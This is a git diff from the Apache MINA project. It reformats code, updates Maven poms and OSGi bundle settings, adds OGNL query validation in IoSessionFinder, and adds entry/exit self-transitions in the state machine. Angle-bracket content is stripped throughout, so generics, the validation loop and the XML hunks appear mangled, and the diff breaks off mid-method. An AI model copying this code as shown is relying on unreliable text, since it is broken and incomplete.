a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoFilterPropertyAccessor.java b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoFilterPropertyAccessor.java index 217dada231..36cd3d608d 100644 --- a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoFilterPropertyAccessor.java +++ b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoFilterPropertyAccessor.java @@ -30,26 +30,22 @@ */ public class IoFilterPropertyAccessor extends AbstractPropertyAccessor { @Override - protected Object getProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected Object getProperty0(OgnlContext context, Object target, String name) throws OgnlException { return OgnlRuntime.NotFound; } @Override - protected boolean hasGetProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected boolean hasGetProperty0(OgnlContext context, Object target, String name) throws OgnlException { return false; } @Override - protected boolean hasSetProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected boolean hasSetProperty0(OgnlContext context, Object target, String name) throws OgnlException { return false; } @Override - protected Object setProperty0(OgnlContext context, Object target, - String name, Object value) throws OgnlException { + protected Object setProperty0(OgnlContext context, Object target, String name, Object value) throws OgnlException { return OgnlRuntime.NotFound; } } diff --git a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoServicePropertyAccessor.java b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoServicePropertyAccessor.java index e82286086c..74ffaf6b95 100644 --- a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoServicePropertyAccessor.java +++ b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoServicePropertyAccessor.java @@ -30,26 +30,22 @@ */ public class IoServicePropertyAccessor extends AbstractPropertyAccessor { @Override - protected Object getProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected Object getProperty0(OgnlContext context, Object target, String name) throws OgnlException { return OgnlRuntime.NotFound; } @Override - protected boolean hasGetProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected boolean hasGetProperty0(OgnlContext context, Object target, String name) throws OgnlException { return false; } @Override - protected boolean hasSetProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected boolean hasSetProperty0(OgnlContext context, Object target, String name) throws OgnlException { return false; } @Override - protected Object setProperty0(OgnlContext context, Object target, - String name, Object value) throws OgnlException { + protected Object setProperty0(OgnlContext context, Object target, String name, Object value) throws OgnlException { return OgnlRuntime.NotFound; } } diff --git a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionFinder.java b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionFinder.java index 07d63256d9..12256f504b 100644 --- a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionFinder.java +++ b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionFinder.java @@ -16,76 +16,117 @@ */ package org.apache.mina.integration.ognl; +import java.util.HashMap; import java.util.LinkedHashSet; +import java.util.Map; import java.util.Set; +import org.apache.mina.core.session.IoSession; + import ognl.Ognl; import ognl.OgnlContext; import ognl.OgnlException; import ognl.TypeConverter; -import org.apache.mina.core.session.IoSession; - /** * Finds {@link IoSession}s that match a boolean OGNL expression. * * @author Apache MINA Project */ public class IoSessionFinder { - + private final String query; + private final TypeConverter typeConverter = new PropertyTypeConverter(); + private final Object expression; - + /** * Creates a new instance with the specified OGNL expression that returns - * a boolean value (e.g. "id == 0x12345678"). + * a boolean value (e.g. "id == 0x12345678"). + * + * @param query The OGNL expression */ public IoSessionFinder(String query) { if (query == null) { throw new IllegalArgumentException("query"); } - + query = query.trim(); + if (query.length() == 0) { throw new IllegalArgumentException("query is empty."); } + + // Only accept queries like [a-zA-Z_$ ]+ (== | < | > | <= | >=) [a-zA-Z\-$\.0-9 ]+ + int comp = -1; + + for (int i=0; i') || (c == '!')) { + comp = i; + } else if ( !Character.isJavaIdentifierPart(c) && (c != ' ')) { + throw new IllegalArgumentException("Invalid query."); + } else { + if ( comp > 0) { + break; + } + } + } + + if (comp<=0) { + throw new IllegalArgumentException("Invalid query."); + } + + for (int i=comp+1; i find(Iterable sessions) throws OgnlException { if (sessions == null) { throw new IllegalArgumentException("sessions"); } + + Set answer = new LinkedHashSet<>(); + Map values = new HashMap<>(); + values.put(AbstractPropertyAccessor.READ_ONLY_MODE, true); + values.put(AbstractPropertyAccessor.QUERY, query); - Set answer = new LinkedHashSet(); - for (IoSession s: sessions) { - OgnlContext context = (OgnlContext) Ognl.createDefaultContext(s); - context.setTypeConverter(typeConverter); - context.put(AbstractPropertyAccessor.READ_ONLY_MODE, true); - context.put(AbstractPropertyAccessor.QUERY, query); + for (IoSession s : sessions) { + OgnlContext context = (OgnlContext) Ognl.createDefaultContext(s, null, typeConverter).withValues(values); Object result = Ognl.getValue(expression, context, s); + if (result instanceof Boolean) { if (((Boolean) result).booleanValue()) { answer.add(s); } } else { - throw new OgnlException( - "Query didn't return a boolean value: " + query); + throw new OgnlException("Query didn't return a boolean value: " + query); } } - + return answer; } } diff --git a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionPropertyAccessor.java b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionPropertyAccessor.java index b037df20d5..c009fbaa32 100644 --- a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionPropertyAccessor.java +++ b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/IoSessionPropertyAccessor.java @@ -34,12 +34,11 @@ public class IoSessionPropertyAccessor extends AbstractPropertyAccessor { @Override - protected Object getProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected Object getProperty0(OgnlContext context, Object target, String name) throws OgnlException { if (target instanceof IoSession && "attributes".equals(name)) { - Map attributes = new TreeMap(); + Map attributes = new TreeMap<>(); IoSession s = (IoSession) target; - for (Object key: s.getAttributeKeys()) { + for (Object key : s.getAttributeKeys()) { Object value = s.getAttribute(key); if (value == null) { continue; @@ -48,25 +47,22 @@ protected Object getProperty0(OgnlContext context, Object target, } return attributes; } - + return OgnlRuntime.NotFound; } @Override - protected boolean hasGetProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected boolean hasGetProperty0(OgnlContext context, Object target, String name) throws OgnlException { return target instanceof IoSession && "attributes".equals(name); } @Override - protected boolean hasSetProperty0(OgnlContext context, Object target, - String name) throws OgnlException { + protected boolean hasSetProperty0(OgnlContext context, Object target, String name) throws OgnlException { return false; } @Override - protected Object setProperty0(OgnlContext context, Object target, - String name, Object value) throws OgnlException { + protected Object setProperty0(OgnlContext context, Object target, String name, Object value) throws OgnlException { return OgnlRuntime.NotFound; } } diff --git a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/PropertyTypeConverter.java b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/PropertyTypeConverter.java index 30caab846e..0d1fb209b6 100644 --- a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/PropertyTypeConverter.java +++ b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/PropertyTypeConverter.java @@ -18,33 +18,34 @@ import java.beans.PropertyEditor; import java.lang.reflect.Member; -import java.util.Map; + +import org.apache.mina.integration.beans.PropertyEditorFactory; import ognl.OgnlContext; import ognl.TypeConverter; -import org.apache.mina.integration.beans.PropertyEditorFactory; - /** * {@link PropertyEditor}-based implementation of OGNL {@link TypeConverter}. * This converter uses the {@link PropertyEditor} implementations in - * mina-integration-beans module to perform conversion. To use this + * mina-integration-beans module to perform conversion. To use this * converter: *
    
      * OgnlContext ctx = Ognl.createDefaultContext(root);
      * ctx.put(OgnlContext.TYPE_CONVERTER_CONTEXT_KEY, new PropertyTypeConverter());
      * 
    - * You can also override {@link #getPropertyEditor(Class, String, Class)} + * You can also override getPropertyEditor(Class, String, Class) * method to have more control over how an appropriate {@link PropertyEditor} * is chosen. * * @author Apache MINA Project */ public class PropertyTypeConverter implements TypeConverter { - + /** + * {@inheritDoc} + */ + @Override @SuppressWarnings("unchecked") - public Object convertValue(Map ctx, Object target, Member member, - String attrName, Object value, Class toType) { + public Object convertValue(OgnlContext ctx, Object target, Member member, String attrName, Object value, Class toType) { if (value == null) { return null; } @@ -53,35 +54,30 @@ public Object convertValue(Map ctx, Object target, Member member, // I don't know why but OGNL gives null attrName almost always. // Fortunately, we can get the actual attrName with a tiny hack. OgnlContext ognlCtx = (OgnlContext) ctx; - attrName = ognlCtx.getCurrentNode().toString().replaceAll( - "[\" \']+", ""); + attrName = ognlCtx.getCurrentNode().toString().replaceAll("[\" \']+", ""); } if (toType.isAssignableFrom(value.getClass())) { return value; } - PropertyEditor e1 = getPropertyEditor( - target.getClass(), attrName, value.getClass()); + PropertyEditor e1 = getPropertyEditor(target.getClass(), attrName, value.getClass()); if (e1 == null) { - throw new IllegalArgumentException("Can't convert " - + value.getClass().getSimpleName() + " to " + throw new IllegalArgumentException("Can't convert " + value.getClass().getSimpleName() + " to " + String.class.getSimpleName()); } e1.setValue(value); - PropertyEditor e2 = getPropertyEditor( - target.getClass(), attrName, toType); + PropertyEditor e2 = getPropertyEditor(target.getClass(), attrName, toType); if (e2 == null) { - throw new IllegalArgumentException("Can't convert " - + String.class.getSimpleName() + " to " + throw new IllegalArgumentException("Can't convert " + String.class.getSimpleName() + " to " + toType.getSimpleName()); } e2.setAsText(e1.getAsText()); return e2.getValue(); } - + protected PropertyEditor getPropertyEditor(Class type, String attrName, Class attrType) { return PropertyEditorFactory.getInstance(attrType); } diff --git a/mina-integration-xbean/pom.xml b/mina-integration-xbean/pom.xml index 92cc5ffe8f..613130faa8 100644 --- a/mina-integration-xbean/pom.xml +++ b/mina-integration-xbean/pom.xml @@ -20,13 +20,12 @@ --> - + 4.0.0 org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT - 4.0.0 mina-integration-xbean Apache MINA XBean Integration @@ -39,7 +38,7 @@ generated from this more intuitive and terse configuration file. - http://maven.apache.org + https://maven.apache.org ${project.groupId} @@ -52,19 +51,17 @@ ${project.groupId} mina-core ${project.version} - sources + bundle - ${project.groupId} - mina-core - ${project.version} - bundle + org.springframework + spring-beans org.springframework - spring + spring-context @@ -75,6 +72,27 @@ + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.integration.xbeans + + org.apache.mina.integration.xbean;version=${project.version};-noimport:=true + + + org.apache.mina.integration.beans;version=${project.version}, + org.apache.mina.transport.vmpipe;version=${project.version}, + org.springframework.beans;version=${version.springframework} + + + + + org.apache.xbean maven-xbean-plugin @@ -82,7 +100,7 @@ http://mina.apache.org/config/1.0 - target/xbean/${pom.artifactId}.xsd + target/xbean/${project.artifactId}.xsd mapping @@ -90,6 +108,32 @@ + + com.google.code.maven-replacer-plugin + replacer + ${version.replacer.plugin} + + + generate-sources + + replace + + + + + ${project.build.directory}/xbean/META-INF + + spring.* + + + + #... ... .+ + # + + + true + + @@ -105,11 +149,11 @@ - ${basedir}/target/xbean/${pom.artifactId}.xsd + ${basedir}/target/xbean/${project.artifactId}.xsd xsd - ${basedir}/target/xbean/${pom.artifactId}.xsd.html + ${basedir}/target/xbean/${project.artifactId}.xsd.html xsd.html diff --git a/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/MinaPropertyEditorRegistrar.java b/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/MinaPropertyEditorRegistrar.java index 0c5b5bd0bb..48704982bf 100644 --- a/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/MinaPropertyEditorRegistrar.java +++ b/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/MinaPropertyEditorRegistrar.java @@ -19,7 +19,6 @@ */ package org.apache.mina.integration.xbean; - import java.beans.PropertyEditor; import java.net.InetAddress; import java.net.InetSocketAddress; @@ -32,7 +31,6 @@ import org.springframework.beans.PropertyEditorRegistrar; import org.springframework.beans.PropertyEditorRegistry; - /** * A custom Spring {@link PropertyEditorRegistrar} implementation which * registers by default all the {@link PropertyEditor} implementations in the @@ -40,8 +38,7 @@ * * @author Apache MINA Project */ -public class MinaPropertyEditorRegistrar implements PropertyEditorRegistrar -{ +public class MinaPropertyEditorRegistrar implements PropertyEditorRegistrar { /** * Registers custom {@link PropertyEditor}s in the MINA Integration Beans * module. @@ -59,16 +56,13 @@ public class MinaPropertyEditorRegistrar implements PropertyEditorRegistrar *
  • org.apache.mina.integration.beans.VmPipeAddressEditor
  • * * - * @see org.springframework.beans.PropertyEditorRegistrar# - * registerCustomEditors(org.springframework.beans.PropertyEditorRegistry) + * @see PropertyEditorRegistrar#registerCustomEditors(PropertyEditorRegistry) */ - public void registerCustomEditors( PropertyEditorRegistry registry ) - { + public void registerCustomEditors(PropertyEditorRegistry registry) { // it is expected that new PropertyEditor instances are created - registry.registerCustomEditor( InetAddress.class, new InetAddressEditor() ); - registry.registerCustomEditor( InetSocketAddress.class, new InetSocketAddressEditor() ); - registry.registerCustomEditor( SocketAddress.class, new InetSocketAddressEditor() ); - registry.registerCustomEditor( VmPipeAddress.class, new VmPipeAddressEditor() ); - // registry.registerCustomEditor( Boolean.class, new BooleanEditor() ); + registry.registerCustomEditor(InetAddress.class, new InetAddressEditor()); + registry.registerCustomEditor(InetSocketAddress.class, new InetSocketAddressEditor()); + registry.registerCustomEditor(SocketAddress.class, new InetSocketAddressEditor()); + registry.registerCustomEditor(VmPipeAddress.class, new VmPipeAddressEditor()); } } diff --git a/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/SocketAddressFactory.java b/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/SocketAddressFactory.java index 76c2c0e32b..9fe149c954 100644 --- a/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/SocketAddressFactory.java +++ b/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/SocketAddressFactory.java @@ -19,12 +19,10 @@ */ package org.apache.mina.integration.xbean; - import java.net.SocketAddress; import org.apache.mina.integration.beans.InetSocketAddressEditor; - /** * Workaround for dealing with inability to annotate java docs of JDK * socket address classes. @@ -32,15 +30,18 @@ * @author Apache MINA Project * @org.apache.xbean.XBean element="socketAddress" contentProperty="value" */ -public class SocketAddressFactory -{ +public class SocketAddressFactory { /** * @org.apache.xbean.FactoryMethod + * Creates a SocketAddress from its String description + * + * @param value The socket address as a String + * @return A SocketAddress */ - public static SocketAddress create( String value ) - { + public static SocketAddress create(String value) { InetSocketAddressEditor editor = new InetSocketAddressEditor(); - editor.setAsText( value ); - return ( SocketAddress ) editor.getValue(); + editor.setAsText(value); + + return (SocketAddress) editor.getValue(); } } diff --git a/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/StandardThreadPool.java b/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/StandardThreadPool.java index 8d753d6273..cff274c5c6 100644 --- a/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/StandardThreadPool.java +++ b/mina-integration-xbean/src/main/java/org/apache/mina/integration/xbean/StandardThreadPool.java @@ -18,52 +18,49 @@ */ package org.apache.mina.integration.xbean; - import java.util.concurrent.Executor; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; - /** + * A ThreadPool + * * @org.apache.xbean.XBean * @author Apache MINA Project */ -public class StandardThreadPool implements Executor -{ +public class StandardThreadPool implements Executor { private final ExecutorService delegate; - - public StandardThreadPool( int maxThreads ) - { - delegate = Executors.newFixedThreadPool( maxThreads ); + /** + * Creates a new StandardThreadPool instance + * + * @param maxThreads The maximum number of threads to use in the associated pool + */ + public StandardThreadPool(int maxThreads) { + delegate = Executors.newFixedThreadPool(maxThreads); } - - public void execute( Runnable command ) - { - delegate.execute( command ); + /** + * {@inheritDoc} + */ + @Override + public void execute(Runnable command) { + delegate.execute(command); } - /** * TODO wont this hang if some tasks are sufficiently badly behaved? * @org.apache.xbean.DestroyMethod */ - public void stop() - { + public void stop() { delegate.shutdown(); - for ( ; ; ) - { - try - { - if ( delegate.awaitTermination( Integer.MAX_VALUE, TimeUnit.SECONDS ) ) - { + for (;;) { + try { + if (delegate.awaitTermination(Integer.MAX_VALUE, TimeUnit.SECONDS)) { break; } - } - catch ( InterruptedException e ) - { + } catch (InterruptedException e) { //ignore } } diff --git a/mina-integration-xbean/src/test/java/org/apache/mina/integration/xbean/SpringXBeanTest.java b/mina-integration-xbean/src/test/java/org/apache/mina/integration/xbean/SpringXBeanTest.java index 8f6af68293..30e8608d21 100644 --- a/mina-integration-xbean/src/test/java/org/apache/mina/integration/xbean/SpringXBeanTest.java +++ b/mina-integration-xbean/src/test/java/org/apache/mina/integration/xbean/SpringXBeanTest.java @@ -18,7 +18,6 @@ */ package org.apache.mina.integration.xbean; - import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; @@ -33,78 +32,75 @@ import java.net.InetSocketAddress; import java.net.URL; - /** * TODO : Add documentation * @author Apache MINA Project */ -public class SpringXBeanTest -{ +public class SpringXBeanTest { /** * Checks to see we can easily configure a NIO based DatagramAcceptor * using XBean-Spring. Tests various configuration settings for the * NIO based DatagramAcceptor. + * + * @throws Exception if e got some error */ @Test - public void testNioDatagramAcceptor() throws Exception - { + public void testNioDatagramAcceptor() throws Exception { ClassLoader classLoader = this.getClass().getClassLoader(); - URL configURL = classLoader.getResource( "org/apache/mina/integration/xbean/datagramAcceptor.xml" ); + URL configURL = classLoader.getResource("org/apache/mina/integration/xbean/datagramAcceptor.xml"); + + File configF = new File(configURL.toURI()); + ApplicationContext factory = new FileSystemXmlApplicationContext(configF.toURI().toURL().toString()); - File configF = new File( configURL.toURI() ); - ApplicationContext factory = new FileSystemXmlApplicationContext( configF.toURI().toURL().toString() ); - // test default without any properties - NioDatagramAcceptor acceptor0 = ( NioDatagramAcceptor ) factory.getBean( "datagramAcceptor0" ); - assertNotNull( "acceptor0 should not be null", acceptor0 ); - assertTrue( - "Default constructor for NioDatagramAcceptor should have true value for closeOnDeactivation property", - acceptor0.isCloseOnDeactivation() ); - + NioDatagramAcceptor acceptor0 = (NioDatagramAcceptor) factory.getBean("datagramAcceptor0"); + assertNotNull("acceptor0 should not be null", acceptor0); + assertTrue( + "Default constructor for NioDatagramAcceptor should have true value for closeOnDeactivation property", + acceptor0.isCloseOnDeactivation()); + // test setting the port and IP for the acceptor - NioDatagramAcceptor acceptor1 = ( NioDatagramAcceptor ) factory.getBean( "datagramAcceptor1" ); - assertNotNull( "acceptor1 should not be null", acceptor1 ); - assertEquals( "192.168.0.1", acceptor1.getDefaultLocalAddress().getAddress().getHostAddress() ); - assertEquals( 110, acceptor1.getDefaultLocalAddress().getPort() ); - + NioDatagramAcceptor acceptor1 = (NioDatagramAcceptor) factory.getBean("datagramAcceptor1"); + assertNotNull("acceptor1 should not be null", acceptor1); + assertEquals("192.168.0.1", acceptor1.getDefaultLocalAddress().getAddress().getHostAddress()); + assertEquals(110, acceptor1.getDefaultLocalAddress().getPort()); + // test creating with executor and some primitive properties - NioDatagramAcceptor acceptor2 = ( NioDatagramAcceptor ) factory.getBean( "datagramAcceptor2" ); - assertNotNull( acceptor2 ); - assertFalse( acceptor2.isCloseOnDeactivation() ); - assertFalse( - "NioDatagramAcceptor should have false value for closeOnDeactivation property", - acceptor2.isCloseOnDeactivation() ); - + NioDatagramAcceptor acceptor2 = (NioDatagramAcceptor) factory.getBean("datagramAcceptor2"); + assertNotNull(acceptor2); + assertFalse(acceptor2.isCloseOnDeactivation()); + assertFalse("NioDatagramAcceptor should have false value for closeOnDeactivation property", + acceptor2.isCloseOnDeactivation()); + // test creating with multiple addresses - NioDatagramAcceptor acceptor3 = ( NioDatagramAcceptor ) factory.getBean( "datagramAcceptor3" ); - assertNotNull( acceptor3 ); - assertEquals( 3, acceptor3.getDefaultLocalAddresses().size() ); + NioDatagramAcceptor acceptor3 = (NioDatagramAcceptor) factory.getBean("datagramAcceptor3"); + assertNotNull(acceptor3); + assertEquals(3, acceptor3.getDefaultLocalAddresses().size()); + + InetSocketAddress address1 = (InetSocketAddress) acceptor3.getDefaultLocalAddresses().get(0); + assertEquals("192.168.0.1", address1.getAddress().getHostAddress()); + assertEquals(10001, address1.getPort()); + + InetSocketAddress address2 = (InetSocketAddress) acceptor3.getDefaultLocalAddresses().get(1); + assertEquals("192.168.0.2", address2.getAddress().getHostAddress()); + assertEquals(10002, address2.getPort()); - InetSocketAddress address1 = ( InetSocketAddress ) acceptor3.getDefaultLocalAddresses().get( 0 ); - assertEquals( "192.168.0.1", address1.getAddress().getHostAddress() ); - assertEquals( 10001, address1.getPort() ); - - InetSocketAddress address2 = ( InetSocketAddress ) acceptor3.getDefaultLocalAddresses().get( 1 ); - assertEquals( "192.168.0.2", address2.getAddress().getHostAddress() ); - assertEquals( 10002, address2.getPort() ); + InetSocketAddress address3 = (InetSocketAddress) acceptor3.getDefaultLocalAddresses().get(2); + assertEquals("192.168.0.3", address3.getAddress().getHostAddress()); + assertEquals(10003, address3.getPort()); - InetSocketAddress address3 = ( InetSocketAddress ) acceptor3.getDefaultLocalAddresses().get( 2 ); - assertEquals( "192.168.0.3", address3.getAddress().getHostAddress() ); - assertEquals( 10003, address3.getPort() ); - - // test with multiple default addresses -// NioDatagramAcceptor acceptor3 = ( NioDatagramAcceptor ) factory.getBean( "datagramAcceptor3" ); -// assertNotNull( acceptor3 ); -// assertEquals( 3, acceptor3.getDefaultLocalAddresses().size() ); -// -// SocketAddress address0 = acceptor3.getDefaultLocalAddresses().get( 0 ); -// assertNotNull( address0 ); -// -// SocketAddress address1 = acceptor3.getDefaultLocalAddresses().get( 1 ); -// assertNotNull( address1 ); -// -// SocketAddress address2 = acceptor3.getDefaultLocalAddresses().get( 2 ); -// assertNotNull( address2 ); + // NioDatagramAcceptor acceptor3 = ( NioDatagramAcceptor ) factory.getBean( "datagramAcceptor3" ); + // assertNotNull( acceptor3 ); + // assertEquals( 3, acceptor3.getDefaultLocalAddresses().size() ); + // + // SocketAddress address0 = acceptor3.getDefaultLocalAddresses().get( 0 ); + // assertNotNull( address0 ); + // + // SocketAddress address1 = acceptor3.getDefaultLocalAddresses().get( 1 ); + // assertNotNull( address1 ); + // + // SocketAddress address2 = acceptor3.getDefaultLocalAddresses().get( 2 ); + // assertNotNull( address2 ); } } diff --git a/mina-integration-xbean/src/test/resources/org/apache/mina/integration/xbean/datagramAcceptor.xml b/mina-integration-xbean/src/test/resources/org/apache/mina/integration/xbean/datagramAcceptor.xml index 2ca9317368..aec450c870 100644 --- a/mina-integration-xbean/src/test/resources/org/apache/mina/integration/xbean/datagramAcceptor.xml +++ b/mina-integration-xbean/src/test/resources/org/apache/mina/integration/xbean/datagramAcceptor.xml @@ -20,31 +20,92 @@ --> + xmlns:s="http://www.springframework.org/schema/beans"> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + + + + - + + + + - + + + + + -64 + -88 + 0 + 1 + + + - - - 192.168.0.1:10001 - 192.168.0.2:10002 - 192.168.0.3:10003 - - + + + + + -64 + -88 + 0 + 2 + + + + + + + + + -64 + -88 + 0 + 3 + + + - - - - @@ -52,5 +113,5 @@ - - \ No newline at end of file + + diff --git a/mina-legal/pom.xml b/mina-legal/pom.xml index db2d8709ca..dc11d2ddeb 100644 --- a/mina-legal/pom.xml +++ b/mina-legal/pom.xml @@ -21,12 +21,12 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-legal Apache MINA Legal - http://mina.apache.org + https://mina.apache.org jar @@ -34,16 +34,10 @@ - - jdom - jdom - true - - org.codehaus.plexus plexus-utils - 1.4.4 + ${version.plexus.utils} true @@ -76,8 +70,14 @@
    - pmd - pmd + net.sourceforge.pmd + pmd-core + + + + net.sourceforge.pmd + pmd-java
    + diff --git a/mina-legal/src/main/resources/notices.xml b/mina-legal/src/main/resources/notices.xml index 0d67abc63e..eaed278f6d 100644 --- a/mina-legal/src/main/resources/notices.xml +++ b/mina-legal/src/main/resources/notices.xml @@ -104,3 +104,4 @@ + diff --git a/mina-statemachine/pom.xml b/mina-statemachine/pom.xml index 0cd9a00411..ccf5c53e2c 100644 --- a/mina-statemachine/pom.xml +++ b/mina-statemachine/pom.xml @@ -24,17 +24,13 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-statemachine Apache MINA State Machine bundle - - ${project.groupId}.statemachine - - ${project.groupId} @@ -45,17 +41,40 @@ - commons-lang - commons-lang - - - - com.agical.rmock - rmock - 2.0.2 + org.easymock + easymock test + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.statemachine + + org.apache.mina.statemachine;version=${project.version};-noimport:=true, + org.apache.mina.statemachine.annotation;version=${project.version};-noimport:=true, + org.apache.mina.statemachine.context;version=${project.version};-noimport:=true, + org.apache.mina.statemachine.event;version=${project.version};-noimport:=true, + org.apache.mina.statemachine.transition;version=${project.version};-noimport:=true + + + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.service;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.slf4j;version=${osgi-min-version.slf4j.api} + + + + + + diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndCallException.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndCallException.java index 00233fb9f2..a3cf34c219 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndCallException.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndCallException.java @@ -28,7 +28,9 @@ class BreakAndCallException extends BreakException { private static final long serialVersionUID = -5973306926764652458L; private final String stateId; + private final String returnToStateId; + private final boolean now; public BreakAndCallException(String stateId, boolean now) { @@ -39,6 +41,7 @@ public BreakAndCallException(String stateId, String returnToStateId, boolean now if (stateId == null) { throw new IllegalArgumentException("stateId"); } + this.stateId = stateId; this.returnToStateId = returnToStateId; this.now = now; diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndGotoException.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndGotoException.java index f83e43334a..12b10a5d04 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndGotoException.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/BreakAndGotoException.java @@ -26,14 +26,16 @@ */ class BreakAndGotoException extends BreakException { private static final long serialVersionUID = 711671882187950113L; - + private final String stateId; + private final boolean now; public BreakAndGotoException(String stateId, boolean now) { if (stateId == null) { throw new IllegalArgumentException("stateId"); } + this.stateId = stateId; this.now = now; } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/State.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/State.java index 73fe17d861..0068b7a732 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/State.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/State.java @@ -23,10 +23,8 @@ import java.util.Collections; import java.util.List; -import org.apache.commons.lang.builder.EqualsBuilder; -import org.apache.commons.lang.builder.HashCodeBuilder; -import org.apache.commons.lang.builder.ToStringBuilder; import org.apache.mina.statemachine.event.Event; +import org.apache.mina.statemachine.transition.SelfTransition; import org.apache.mina.statemachine.transition.Transition; /** @@ -47,11 +45,23 @@ * @author Apache MINA Project */ public class State { + /** The state ID */ private final String id; + + /** The parent state */ private final State parent; - private List transitionHolders = new ArrayList(); + + private List transitionHolders = new ArrayList<>(); + + /** The list of transitions for this state */ private List transitions = Collections.emptyList(); - + + /** The list of entry transitions on a state */ + private List onEntries = new ArrayList<>(); + + /** The list of exit transition from a state */ + private List onExits = new ArrayList<>(); + /** * Creates a new {@link State} with the specified id. * @@ -73,17 +83,13 @@ public State(String id, State parent) { } /** - * Returns the id of this {@link State}. - * - * @return the id. + * @return the id of this {@link State}. */ public String getId() { return id; } /** - * Returns the parent {@link State}. - * * @return the parent or null if this {@link State} has no * parent. */ @@ -92,22 +98,67 @@ public State getParent() { } /** - * Returns an unmodifiable {@link List} of {@link Transition}s going out + * @return an unmodifiable {@link List} of {@link Transition}s going out * from this {@link State}. - * - * @return the {@link Transition}s. */ public List getTransitions() { return Collections.unmodifiableList(transitions); } + /** + * @return an unmodifiable {@link List} of entry {@link SelfTransition}s + */ + public List getOnEntrySelfTransitions() { + return Collections.unmodifiableList(onEntries); + } + + /** + * @return an unmodifiable {@link List} of exit {@link SelfTransition}s + */ + public List getOnExitSelfTransitions() { + return Collections.unmodifiableList(onExits); + } + + /** + * Adds an entry {@link SelfTransition} to this {@link State} + * + * @param selfTransition the {@link SelfTransition} to add. + * @return this {@link State}. + */ + State addOnEntrySelfTransaction(SelfTransition onEntrySelfTransaction) { + if (onEntrySelfTransaction == null) { + throw new IllegalArgumentException("transition"); + } + + onEntries.add(onEntrySelfTransaction); + + return this; + } + + /** + * Adds an exit {@link SelfTransition} to this {@link State} + * + * @param selfTransition the {@link SelfTransition} to add. + * @return this {@link State}. + */ + State addOnExitSelfTransaction(SelfTransition onExitSelfTransaction) { + if (onExitSelfTransaction == null) { + throw new IllegalArgumentException("transition"); + } + + onExits.add(onExitSelfTransaction); + + return this; + } + private void updateTransitions() { - transitions = new ArrayList(transitionHolders.size()); + transitions = new ArrayList<>(transitionHolders.size()); + for (TransitionHolder holder : transitionHolders) { transitions.add(holder.transition); } } - + /** * Adds an outgoing {@link Transition} to this {@link State} with weight 0. * @@ -127,6 +178,7 @@ public State addTransition(Transition transition) { * be executed. * * @param transition the {@link Transition} to add. + * @param weight The weight of this transition * @return this {@link State}. */ public State addTransition(Transition transition, int weight) { @@ -139,39 +191,58 @@ public State addTransition(Transition transition, int weight) { updateTransitions(); return this; } - + + /** + * {@inheritDoc} + */ @Override public boolean equals(Object o) { - if (!(o 